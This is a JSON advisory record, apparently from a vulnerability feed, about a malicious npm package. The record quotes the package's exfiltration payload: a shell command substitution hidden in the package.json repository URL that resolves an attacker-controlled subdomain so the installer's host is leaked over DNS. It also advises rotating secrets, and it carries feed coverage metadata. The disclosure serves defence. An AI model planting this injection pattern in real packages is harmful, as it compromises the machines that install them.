{"id":"GHSA-3xpj-mfqg-v52m","revision":null,"records":[{"revision":"72ef1e1c4d31442fb7988c4438ae0aef","observedAt":"2026-10-29T14:12:32.841+00:00","statement":{"source":"osv","id":"MAL-2026-18049","aliases":["GHSA-3xpj-mfqg-v52m"],"title":"Malicious code in @an1mshnpmb9c84920/pipe-dns-m19t2 (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (6ca06c3437a018a2cdb116b01f0c4ee234bfc189f2b91b2d181560cb81d4b861)\nThe package.json repository.url field embeds a shell command-substitution payload of the form $(getent${IFS}hosts${IFS}<subdomain>.oob.awss.dev>/dev/null), designed to execute when tooling interpolates the field into a shell context. The payload resolves an attacker-controlled subdomain under oob.awss.dev, leaking the installer's host identity via DNS to the attacker's out-of-band collector. The package body is a one-line stub with no legitimate functionality; the entire payload is in the manifest metadata. The scoped name and single-release shape are consistent with a dependency-confusion or manifest-injection probe targeting internal npm tooling.\n\n## Source: ghsa-malware (0af2574cde6941a12e82bbc6fb4de1d1fd75b2434ab5e88dbebc4e8ea644bd36)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","state":0,"publishedAt":"2026-10-19T22:19:38+00:00","modifiedAt":"2026-10-29T13:48:10.5461049+00:00","affected":[{"ecosystem":"npm","name":"@an1mshnpmb9c84920/pipe-dns-m19t2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":["1.0.0","1.0.1","1.0.5"],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/advisories/GHSA-3xpj-mfqg-v52m","https://www.npmjs.com/package/@an1mshnpmb9c84920/pipe-dns-m19t2/v/1.0.0","https://www.npmjs.com/package/@an1mshnpmb9c84920/pipe-dns-m19t2/v/1.0.1","https://www.npmjs.com/package/@an1mshnpmb9c84920/pipe-dns-m19t2/v/1.0.5"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-18049","license":"OSV · upstream source license applies","key":"osv:MAL-2026-18049","identifiers":["MAL-2026-18049","GHSA-3xpj-mfqg-v52m"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-27c3440f97484dda858dd714de0d758d","complete":true,"records":13630,"lastAttemptAt":"2026-11-07T07:38:48.4100635+00:00","lastSuccessAt":"2026-11-07T07:38:48.406+00:00","error":null,"lastVerifiedAt":"2026-11-07T07:38:48.406+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T07:27:10.0308911+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T07:27:10.0308911+00:00","lastSuccessAt":"2026-11-07T07:27:10.181531+00:00","error":null,"lastVerifiedAt":"2026-11-07T07:27:10.1815313+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. 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